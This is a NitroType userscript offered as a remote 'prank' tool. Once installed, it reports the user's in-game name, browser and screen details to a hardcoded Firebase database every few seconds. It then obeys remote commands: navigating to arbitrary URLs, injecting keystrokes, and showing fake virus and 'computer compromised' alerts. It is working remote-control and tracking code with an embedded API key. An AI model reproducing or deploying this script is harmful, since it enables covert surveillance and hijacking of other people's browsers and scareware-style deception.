Remote control script for NitroType with 25+ pranks using Firebase
当前为
// ==UserScript==
// @name NitroType Remote Control
// @namespace http://tampermonkey.net/
// @version 3.0
// @license MIT
// @description Remote control script for NitroType with 25+ pranks using Firebase
// @author You
// @match https://www.nitrotype.com/*
// @grant none
// ==/UserScript==
(function() {
'use strict';
// Firebase configuration
const firebaseConfig = {
apiKey: "AIzaSyCL7XUY6n56KoUHKOKC7WrQKDeZdiKL4yk",
authDomain: "disciplemanager.firebaseapp.com",
databaseURL: "https://disciplemanager-default-rtdb.firebaseio.com",
projectId: "disciplemanager",
storageBucket: "disciplemanager.firebasestorage.app",
messagingSenderId: "333051652706",
appId: "1:333051652706:web:18e8c82813245a583dff3b",
measurementId: "G-CQKCCEGCQ4"
};
// Load Firebase SDKs
const firebaseScript = document.createElement('script');
firebaseScript.src = 'https://www.gstatic.com/firebasejs/10.7.1/firebase-app-compat.js';
firebaseScript.onload = () => {
const databaseScript = document.createElement('script');
databaseScript.src = 'https://www.gstatic.com/firebasejs/10.7.1/firebase-database-compat.js';
databaseScript.onload = () => {
initializeFirebase();
};
document.head.appendChild(databaseScript);
};
document.head.appendChild(firebaseScript);
let clientId = null;
let database = null;
let activePranks = new Set();
function initializeFirebase() {
firebase.initializeApp(firebaseConfig);
database = firebase.database();
// Generate unique client ID
clientId = generateClientId();
// Register this client
registerClient();
// Listen for commands
listenForCommands();
// Keep client alive
setInterval(updateClientHeartbeat, 5000);
}
function generateClientId() {
return Math.random().toString(36).substring(2, 9) + Date.now().toString(36);
}
// Get computer info
function getComputerInfo() {
// Try to get username from NitroType page
let name = null;
const nameElement = document.querySelector('span.db.type-ellip.type-ellip--account');
if (nameElement) {
name = nameElement.textContent.trim();
}
return {
name: name,
userAgent: navigator.userAgent,
platform: navigator.platform,
language: navigator.language,
screenWidth: window.screen.width,
screenHeight: window.screen.height,
url: window.location.href,
hostname: window.location.hostname,
timestamp: new Date().toISOString()
};
}
function registerClient() {
if (!database) return;
const clientRef = database.ref(`nitrotype/clients/${clientId}`);
clientRef.set({
info: getComputerInfo(),
lastSeen: Date.now()
});
console.log('Registered with Firebase:', clientId);
}
function updateClientHeartbeat() {
if (!database) return;
const clientRef = database.ref(`nitrotype/clients/${clientId}`);
clientRef.update({
lastSeen: Date.now(),
info: getComputerInfo()
});
}
function listenForCommands() {
if (!database) return;
const commandsRef = database.ref(`nitrotype/commands/${clientId}`);
commandsRef.on('value', (snapshot) => {
const data = snapshot.val();
if (data && data.command) {
handleMessage(data);
// Clear the command after processing
commandsRef.remove();
}
});
}
// Handle incoming commands
function handleMessage(message) {
switch(message.command) {
case 'navigate':
if (message.url) window.location.href = message.url;
break;
case 'hide_dash':
hideDashContent();
break;
case 'reload':
window.location.reload();
break;
case 'spam_letters':
spamLetters();
break;
case 'go_to_profile':
window.location.href = 'https://www.nitrotype.com/racer/sidastuff';
break;
case 'flip_screen':
flipScreen();
break;
case 'rotate_text':
rotateText();
break;
case 'rainbow_colors':
rainbowColors();
break;
case 'annoying_popups':
annoyingPopups();
break;
case 'random_sounds':
randomSounds();
break;
case 'shake_screen':
shakeScreen();
break;
case 'invert_colors':
invertColors();
break;
case 'fake_errors':
fakeErrors();
break;
case 'random_fonts':
randomFonts();
break;
case 'fake_notifications':
fakeNotifications();
break;
case 'make_move':
makeMove();
break;
case 'fake_loading':
fakeLoading();
break;
case 'change_cursor':
changeCursor();
break;
case 'fake_system_msg':
fakeSystemMsg();
break;
case 'unreadable_text':
unreadableText();
break;
case 'fake_ads':
fakeAds();
break;
case 'slow_typing':
slowTyping();
break;
case 'fake_virus':
fakeVirus();
break;
case 'change_title':
changeTitle();
break;
case 'fake_chat':
fakeChat();
break;
}
}
// PRANK FUNCTIONS
function hideDashContent() {
const dashContent = document.querySelector('.dash-content');
if (dashContent) dashContent.style.display = 'none';
}
function spamLetters() {
const input = document.querySelector('.dash-copy-input');
if (!input) return;
const letters = 'abcdefghijklmnopqrstuvwxyz';
const startTime = Date.now();
const duration = 5000;
function spam() {
if (Date.now() - startTime < duration) {
const randomLetter = letters[Math.floor(Math.random() * letters.length)];
input.value += randomLetter;
input.dispatchEvent(new Event('input', { bubbles: true }));
setTimeout(spam, 50);
}
}
spam();
}
function flipScreen() {
document.body.style.transform = 'rotate(180deg)';
activePranks.add('flip_screen');
}
function rotateText() {
const style = document.createElement('style');
style.id = 'rotate-text-style';
style.textContent = `
* { transform: rotate(${Math.random() * 360}deg) !important; }
`;
document.head.appendChild(style);
activePranks.add('rotate_text');
}
function rainbowColors() {
const style = document.createElement('style');
style.id = 'rainbow-style';
style.textContent = `
* {
animation: rainbow 2s infinite !important;
}
@keyframes rainbow {
0% { color: red !important; background: blue !important; }
25% { color: yellow !important; background: green !important; }
50% { color: blue !important; background: red !important; }
75% { color: green !important; background: yellow !important; }
100% { color: red !important; background: blue !important; }
}
`;
document.head.appendChild(style);
activePranks.add('rainbow_colors');
}
function annoyingPopups() {
const messages = ['Hello!', 'Click me!', 'You won!', 'Error!', 'Warning!', 'Alert!'];
let count = 0;
const interval = setInterval(() => {
if (count++ > 20) {
clearInterval(interval);
return;
}
alert(messages[Math.floor(Math.random() * messages.length)]);
}, 2000);
activePranks.add('annoying_popups');
}
function randomSounds() {
const audioContext = new (window.AudioContext || window.webkitAudioContext)();
let count = 0;
const interval = setInterval(() => {
if (count++ > 10) {
clearInterval(interval);
return;
}
const oscillator = audioContext.createOscillator();
oscillator.frequency.value = Math.random() * 1000 + 200;
oscillator.type = 'sine';
const gainNode = audioContext.createGain();
gainNode.gain.value = 0.1;
oscillator.connect(gainNode);
gainNode.connect(audioContext.destination);
oscillator.start();
oscillator.stop(audioContext.currentTime + 0.1);
}, 500);
activePranks.add('random_sounds');
}
function shakeScreen() {
const style = document.createElement('style');
style.id = 'shake-style';
style.textContent = `
body {
animation: shake 0.5s infinite !important;
}
@keyframes shake {
0%, 100% { transform: translate(0, 0); }
25% { transform: translate(-10px, -10px); }
50% { transform: translate(10px, 10px); }
75% { transform: translate(-10px, 10px); }
}
`;
document.head.appendChild(style);
activePranks.add('shake_screen');
}
function invertColors() {
const style = document.createElement('style');
style.id = 'invert-style';
style.textContent = `
* {
filter: invert(1) !important;
}
`;
document.head.appendChild(style);
activePranks.add('invert_colors');
}
function fakeErrors() {
const errorDiv = document.createElement('div');
errorDiv.style.cssText = 'position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:red;color:white;padding:20px;z-index:99999;font-size:20px;';
errorDiv.textContent = 'CRITICAL ERROR: System failure detected!';
document.body.appendChild(errorDiv);
setTimeout(() => errorDiv.remove(), 5000);
}
function randomFonts() {
const fonts = ['Comic Sans MS', 'Papyrus', 'Wingdings', 'Times New Roman', 'Arial'];
const style = document.createElement('style');
style.id = 'random-fonts-style';
style.textContent = `
* {
font-family: ${fonts[Math.floor(Math.random() * fonts.length)]} !important;
font-size: ${Math.random() * 50 + 10}px !important;
}
`;
document.head.appendChild(style);
activePranks.add('random_fonts');
}
function fakeNotifications() {
const notification = document.createElement('div');
notification.style.cssText = 'position:fixed;top:20px;right:20px;background:#333;color:white;padding:15px;border-radius:5px;z-index:99999;';
notification.textContent = '🔔 New message: You have 999 unread emails!';
document.body.appendChild(notification);
setTimeout(() => notification.remove(), 5000);
}
function makeMove() {
const style = document.createElement('style');
style.id = 'make-move-style';
style.textContent = `
* {
animation: move 1s infinite !important;
}
@keyframes move {
0%, 100% { transform: translate(0, 0); }
50% { transform: translate(20px, 20px); }
}
`;
document.head.appendChild(style);
activePranks.add('make_move');
}
function fakeLoading() {
const loader = document.createElement('div');
loader.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:black;color:white;display:flex;align-items:center;justify-content:center;z-index:99999;font-size:30px;';
loader.innerHTML = 'Loading... Please wait...';
document.body.appendChild(loader);
setTimeout(() => loader.remove(), 5000);
}
function changeCursor() {
const style = document.createElement('style');
style.id = 'cursor-style';
style.textContent = `
* {
cursor: crosshair !important;
}
`;
document.head.appendChild(style);
activePranks.add('change_cursor');
}
function fakeSystemMsg() {
const msg = document.createElement('div');
msg.style.cssText = 'position:fixed;bottom:20px;left:20px;background:blue;color:white;padding:15px;border-radius:5px;z-index:99999;';
msg.textContent = '⚠️ System: Your computer has been compromised!';
document.body.appendChild(msg);
setTimeout(() => msg.remove(), 7000);
}
function unreadableText() {
const style = document.createElement('style');
style.id = 'unreadable-style';
style.textContent = `
* {
letter-spacing: 50px !important;
word-spacing: 100px !important;
}
`;
document.head.appendChild(style);
activePranks.add('unreadable_text');
}
function fakeAds() {
const ad = document.createElement('div');
ad.style.cssText = 'position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:yellow;padding:30px;z-index:99999;border:5px solid red;';
ad.innerHTML = '<h2>CLICK HERE TO WIN $1000!</h2><p>Limited time offer!</p>';
document.body.appendChild(ad);
setTimeout(() => ad.remove(), 5000);
}
function slowTyping() {
const input = document.querySelector('.dash-copy-input');
if (!input) return;
const originalAddEventListener = input.addEventListener;
input.addEventListener = function(type, listener) {
if (type === 'keydown' || type === 'keypress') {
return originalAddEventListener.call(this, type, function(e) {
setTimeout(() => listener(e), 500);
});
}
return originalAddEventListener.call(this, type, listener);
};
activePranks.add('slow_typing');
}
function fakeVirus() {
const virus = document.createElement('div');
virus.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:red;color:white;display:flex;align-items:center;justify-content:center;z-index:99999;font-size:40px;text-align:center;';
virus.innerHTML = '<div><h1>⚠️ VIRUS DETECTED ⚠️</h1><p>Your computer is infected!</p><p>Please call 1-800-SCAM immediately!</p></div>';
document.body.appendChild(virus);
setTimeout(() => virus.remove(), 8000);
}
function changeTitle() {
const titles = ['You are hacked!', 'Virus detected!', 'Error 404', 'Loading...', 'Warning!'];
let index = 0;
const interval = setInterval(() => {
document.title = titles[index % titles.length];
index++;
}, 1000);
activePranks.add('change_title');
}
function fakeChat() {
const chat = document.createElement('div');
chat.style.cssText = 'position:fixed;bottom:20px;right:20px;background:white;border:2px solid black;padding:10px;width:200px;z-index:99999;';
chat.innerHTML = '<div style="font-weight:bold;">Chat Messages:</div><div>User1: Hello!</div><div>User2: How are you?</div><div>User3: This is fake!</div>';
document.body.appendChild(chat);
setTimeout(() => chat.remove(), 10000);
}
})();